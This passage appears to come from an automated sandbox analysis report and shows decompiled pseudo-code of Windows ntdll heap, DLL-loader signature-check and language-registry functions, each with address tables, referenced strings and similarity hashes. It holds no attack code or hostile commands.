						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E00CAA80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0xcd8720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0xcd8720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E00C0B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E00CAA80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E00C0E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x00c0b746
0x00c0b74b
0x00c0b74d
0x00c0b750
0x00c0b755
0x00c0b758
0x00c0b758
0x00c0b75e
0x00c0b763
0x00c0b764
0x00c0b76a
0x00c0b76d
0x00c0b771
0x00c0b776
0x00c0b85c
0x00c0b85d
0x00c0b860
0x00c0b865
0x00c52ba1
0x00c52ba2
0x00c52ba9
0x00c52bae
0x00c52bae
0x00c0b77c
0x00c0b77c
0x00c0b77c
0x00c0b785
0x00c0b788
0x00c52bb6
0x00c52bb9
0x00000000
0x00000000
0x00c52bbf
0x00c52bc5
0x00c52bc9
0x00c52be8
0x00c52bed
0x00c52bcb
0x00c52be0
0x00c52be5
0x00c52bf3
0x00c52bf8
0x00c52bfd
0x00c52c05
0x00c52c0e
0x00c52c0e
0x00000000
0x00c0b78e
0x00c0b78e
0x00c0b78e
0x00c0b791
0x00c0b791
0x00c0b797
0x00c0b797
0x00c0b79f
0x00c0b7a9
0x00c0b7af
0x00c0b7af
0x00c0b7b1
0x00c0b7b6
0x00c0b7e2
0x00c0b7e2
0x00c0b7e7
0x00c0b880
0x00c0b7ed
0x00c0b7ed
0x00c0b7ed
0x00c0b7ef
0x00c0b7f2
0x00c0b7f2
0x00c0b7f5
0x00c0b7fa
0x00c52c2d
0x00c52c2e
0x00c52c39
0x00c0b800
0x00c0b800
0x00c0b802
0x00c0b805
0x00c0b808
0x00c0b808
0x00c0b80a
0x00c0b80d
0x00c0b816
0x00c0b81c
0x00c0b822
0x00c0b82f
0x00c0b88b
0x00c0b892
0x00c0b897
0x00c0b899
0x00c0b89b
0x00c0b89e
0x00c0b8a5
0x00c0b8a8
0x00c0b8aa
0x00c0b8ac
0x00c0b8ac
0x00c0b8aa
0x00c0b892
0x00c0b831
0x00c0b839
0x00c0b83b
0x00c0b83b
0x00c0b844
0x00c0b84b
0x00c0b852
0x00c0b7b8
0x00c0b7ba
0x00c0b7bf
0x00c0b7c4
0x00c52c18
0x00c52c19
0x00c52c23
0x00c0b7ca
0x00c0b7ca
0x00c0b7cc
0x00c0b7cf
0x00c0b7d1
0x00c0b7d1
0x00c0b7d4
0x00c0b7dc
0x00c0b8bb
0x00c0b8bb
0x00c0b8be
0x00c0b8be
0x00c0b8c1
0x00000000
0x00000000
0x00c0b8c3
0x00c0b8c5
0x00c0b8c7
0x00c0b8e0
0x00000000
0x00c0b8e0
0x00c0b8cc
0x00c0b8cc
0x00000000
0x00c0b8cc
0x00c0b8d6
0x00c0b8d6
0x00000000
0x00c0b7dc
0x00c0b7b6

Strings

HEAP[%wZ]: , xrefs: 00C52BDB
HEAP: , xrefs: 00C52BE8
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 00C52BF3

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: d84582a078c500094745c6fd80f61d2fbec6a45d3a2b2be0f4f90ddf6d1e141e
Instruction ID: 8e7d55ac6ff7f97f2d23cd65758919645b8e908e71275531841a068c1be899cc
Opcode Fuzzy Hash: d84582a078c500094745c6fd80f61d2fbec6a45d3a2b2be0f4f90ddf6d1e141e
Instruction Fuzzy Hash: FB61C170600241DFDB18DF29C485B6ABBE5FF45314F24856EE8598B2D2D730ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BF7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00BF7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E00BFCEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E00BEC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0xcd5780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E00C65510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0xcd5780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E00C07D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00C07D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E00C67016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E00C07D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00C07D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E00C67016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E00C1A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E00BEB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x00bf7e4c
0x00bf7e50
0x00bf7e55
0x00bf7e58
0x00bf7e5d
0x00bf7e71
0x00bf7f33
0x00bf7e77
0x00bf7e77
0x00bf7e79
0x00bf7e79
0x00bf7e7e
0x00bf7f45
0x00c49848
0x00000000
0x00c49848
0x00bf7f4e
0x00bf7f53
0x00bf7f5a
0x00000000
0x00000000
0x00c4985a
0x00c49862
0x00c49866
0x00000000
0x00c4986c
0x00000000
0x00c4986c
0x00bf7e84
0x00bf7e84
0x00bf7e8d
0x00c49871
0x00bf7eb8
0x00bf7ec0
0x00bf7ec0
0x00bf7e9a
0x00c4987e
0x00000000
0x00000000
0x00c49884
0x00c4988b
0x00c498a7
0x00c498ac
0x00c498b1
0x00c498b6
0x00c498b8
0x00c498b8
0x00c498b9
0x00000000
0x00c498b9
0x00bf7ea0
0x00bf7ea7
0x00000000
0x00000000
0x00bf7eac
0x00bf7eb1
0x00bf7ec6
0x00bf7ed0
0x00c498cc
0x00bf7ed6
0x00bf7ed6
0x00bf7ed6
0x00bf7ede
0x00bf7ee3
0x00c498e3
0x00c498f0
0x00c49902
0x00c498f2
0x00c498fb
0x00c498fb
0x00c49907
0x00c4991d
0x00c4991d
0x00c49907
0x00c498e3
0x00bf7ef0
0x00bf7f14
0x00bf7f14
0x00bf7f1e
0x00c49946
0x00bf7f24
0x00bf7f24
0x00bf7f24
0x00bf7f2c
0x00c4996a
0x00c49975
0x00c49975
0x00c4997e
0x00c49993
0x00c49993
0x00c4997e
0x00000000
0x00bf7ef2
0x00bf7efc
0x00bf7f0a
0x00bf7f0e
0x00c49933
0x00000000
0x00c49933
0x00000000
0x00bf7f0e
0x00000000
0x00000000
0x00000000
0x00bf7eb1

Strings

LdrpCompleteMapModule, xrefs: 00C49898
Could not validate the crypto signature for DLL %wZ, xrefs: 00C49891
minkernel\ntdll\ldrmap.c, xrefs: 00C498A2

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: b916e2531b9d1d290b00b414660651bbac07df228aedb42df0a388a889e0e994
Instruction ID: 89b64f4d97aab586fc15ced33f6c6ee3a95285409833506d5091288d02c2d40c
Opcode Fuzzy Hash: b916e2531b9d1d290b00b414660651bbac07df228aedb42df0a388a889e0e994
Instruction Fuzzy Hash: D051D031A487499BDB21CB5CC984B3A7BE8FF01314F1406DAEA619B6E2DB34ED04C751

Uniqueness

Uniqueness Score: -1.00%

Function 00C923E3, Relevance: 3.9, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00C923E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0xcd874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0xcd874c ^ _t84;
									if(_t99 == 0) {
										_t69 =  *((intOrPtr*)(_t114 - (_t99 >> 0xd)));
									} else {
										_t69 = 0;
									}
									_t48 =  *((intOrPtr*)(_t69 + 0x14));
								}
								_t85 =  *(_t114 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t85 = _t94 & 0x3f;
							}
						} else {
							_t85 =  *(_t114 + 4 + (_t94 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t85 =  *(_t84 + 0x54) & 0x0000ffff ^  *(_t114 + 4) & 0x0000ffff;
					}
					_t110 = (_t108 << 3) - _t85;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t77 =  *__edx & 0x0000ffff;
					} else {
						_t79 =  *__edx;
						if(( *(__ecx + 0x4c) & _t79) != 0) {
							_t79 = _t79 ^  *(__ecx + 0x50);
						}
						_t77 = _t79 & 0x0000ffff;
					}
					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E00C3D4F0(_t83, 0xbc6c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E00BEB150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0xcd6378 = 1;
						asm("int3");
						 *0xcd6378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x00c923e3
0x00c923e8
0x00c923eb
0x00c923ee
0x00c923f3
0x00c9259b
0x00c9259b
0x00c9259d
0x00c925a3
0x00c925a3
0x00c923fb
0x00c92424
0x00c9244f
0x00c92460
0x00c92451
0x00c92451
0x00c92456
0x00c92458
0x00c92458
0x00c9245b
0x00c9245b
0x00c92426
0x00c92431
0x00c92436
0x00c92443
0x00c92438
0x00c92438
0x00c92438
0x00c92445
0x00c92445
0x00c92463
0x00c92469
0x00c9246f
0x00c92480
0x00c92495
0x00c924a1
0x00c924ce
0x00c924df
0x00c924d0
0x00c924d0
0x00c924d5
0x00c924d7
0x00c924d7
0x00c924da
0x00c924da
0x00c924a3
0x00c924b0
0x00c924b5
0x00c924c2
0x00c924b7
0x00c924b7
0x00c924b7
0x00c924c4
0x00c924c4
0x00c924e8
0x00c92497
0x00c9249a
0x00c9249a
0x00c92482
0x00c92488
0x00c92488
0x00c92471
0x00c92479
0x00c92479
0x00c924ef
0x00c923fd
0x00c92401
0x00c92412
0x00c92403
0x00c92403
0x00c92408
0x00c9240a
0x00c9240a
0x00c9240d
0x00c9240d
0x00c9241b
0x00c9241b
0x00c924f1
0x00c924f6
0x00c92507
0x00c92510
0x00000000
0x00c92510
0x00c9250b
0x00000000
0x00c924f8
0x00c924f8
0x00c924fc
0x00c92500
0x00c92512
0x00c92515
0x00c9251a
0x00c92521
0x00c92524
0x00c92529
0x00c9252f
0x00000000
0x00000000
0x00c9253c
0x00c9255c
0x00c92561
0x00c9253e
0x00c92554
0x00c92559
0x00c9256a
0x00c9256d
0x00c92574
0x00c92586
0x00c92588
0x00c9258f
0x00c92590
0x00c92590
0x00c92597
0x00000000
0x00c92597

Strings

HEAP[%wZ]: , xrefs: 00C9254F
HEAP: , xrefs: 00C9255C
Heap block at %p modified at %p past requested size of %Ix, xrefs: 00C9256F

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 4a2e9f2dfc498e6281a179c2d0460fa523ce47dd0d127dbc0f83fc4c64b3af5e
Instruction ID: 354da865da517d34396e03f4aa13b22af81e4c2ebdc57222c9f9228d2307b864
Opcode Fuzzy Hash: 4a2e9f2dfc498e6281a179c2d0460fa523ce47dd0d127dbc0f83fc4c64b3af5e
Instruction Fuzzy Hash: 65512834100250AAEB74DF1AC85CB7277E1DB44744F65889EE8D2CB291D335D947EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00BEE620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00BEE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E00BEF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E00C295D0();
						}
						if(_t78 != 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E00C2FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E00C2BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E00C29600();
					if(_t97 < 0) {
						goto L6;
					}
					E00C2BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L00BEF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E00C2BB40(_t83, _t102 + 0x24, _t78);
								if(L00BF43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E00C2BB40(_t84, _t102 + 0x24, _t94);
									if(L00BF43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x00bee620
0x00bee628
0x00bee62f
0x00bee631
0x00bee635
0x00bee637
0x00bee63e
0x00c45503
0x00c45503
0x00bee64c
0x00bee64c
0x00bee651
0x00000000
0x00000000
0x00bee661
0x00bee665
0x00c4542a
0x00bee715
0x00bee71a
0x00bee71c
0x00bee720
0x00bee720
0x00bee727
0x00bee736
0x00bee736
0x00bee743
0x00bee743
0x00bee673
0x00bee678
0x00bee67d
0x00bee682
0x00bee685
0x00bee692
0x00bee69b
0x00bee6a3
0x00bee6ad
0x00bee6b1
0x00bee6b2
0x00bee6bb
0x00bee6bf
0x00bee6c0
0x00bee6c8
0x00bee6cc
0x00bee6d5
0x00bee6d9
0x00000000
0x00000000
0x00bee6e5
0x00bee6ea
0x00bee6f9
0x00bee70b
0x00bee70f
0x00c45439
0x00c4545e
0x00c4545e
0x00000000
0x00c4545e
0x00c4543b
0x00c4543e
0x00c45440
0x00c45445
0x00c45472
0x00c45475
0x00c4548d
0x00c45493
0x00c454a9
0x00000000
0x00000000
0x00c454ab
0x00c454b4
0x00c454bc
0x00c454c8
0x00c454de
0x00c454fb
0x00c454e0
0x00c454e6
0x00c454eb
0x00c454eb
0x00c454de
0x00000000
0x00c454bc
0x00c45477
0x00c4547a
0x00c45480
0x00c45483
0x00c45486
0x00c4548b
0x00000000
0x00000000
0x00000000
0x00c4548b
0x00000000
0x00000000
0x00000000
0x00000000
0x00c45447
0x00c45447
0x00c45447
0x00c45447
0x00c4544e
0x00000000
0x00000000
0x00c45450
0x00c45452
0x00c45455
0x00c4545a
0x00000000
0x00000000
0x00000000
0x00c4545c
0x00c4546a
0x00c4546d
0x00c4546f
0x00000000
0x00c4546f
0x00bee70f

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 00BEE68C
@, xrefs: 00BEE6C0
InstallLanguageFallback, xrefs: 00BEE6DB

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 85db80f2ec4a9f1cc9c2b43038f4cc1d562194b8e03974e7ce4a723230d04c0a
Instruction ID: a24966cf3fe4704fee1b9e08950626fe4a90f3326fdebaf0683ac40a267cbd91
Opcode Fuzzy Hash: 85db80f2ec4a9f1cc9c2b43038f4cc1d562194b8e03974e7ce4a723230d04c0a
Instruction Fuzzy Hash: 8451BCB65087559BC710DF25C480A6BB3E8BF88714F04096EF995DB241FB34DE44C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B8E4, Relevance: 3.8, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00C0B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0xcd8748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E00BEB150();
						} else {
							E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E00BEB150();
						__eflags =  *0xcd7bc8;
						if(__eflags == 0) {
							E00CA2073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E00C0AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x00c0b8f0
0x00c0b8f2
0x00c0b8f4
0x00c52c4e
0x00c52c50
0x00c52c56
0x00c52c5c
0x00c52c60
0x00c52c7f
0x00c52c84
0x00c52c62
0x00c52c77
0x00c52c7c
0x00c52c8a
0x00c52c8f
0x00c52c94
0x00c52c9c
0x00c52ca5
0x00c52ca5
0x00c52c9c
0x00c52c50
0x00c0b8fa
0x00c0b902
0x00c0b921
0x00c0b921
0x00c0b924
0x00c0b924
0x00c0b927
0x00000000
0x00000000
0x00c0b929
0x00c0b92b
0x00c0b92d
0x00c0b940
0x00000000
0x00c0b940
0x00c0b932
0x00c0b932
0x00000000
0x00c0b932
0x00000000
0x00c0b904
0x00c0b904
0x00c0b90a
0x00c0b90c
0x00c0b916
0x00c0b919
0x00c0b915
0x00c0b915
0x00c0b91b
0x00c0b91b
0x00000000
0x00c0b910

Strings

(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 00C52C8A
HEAP[%wZ]: , xrefs: 00C52C72
HEAP: , xrefs: 00C52C7F

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
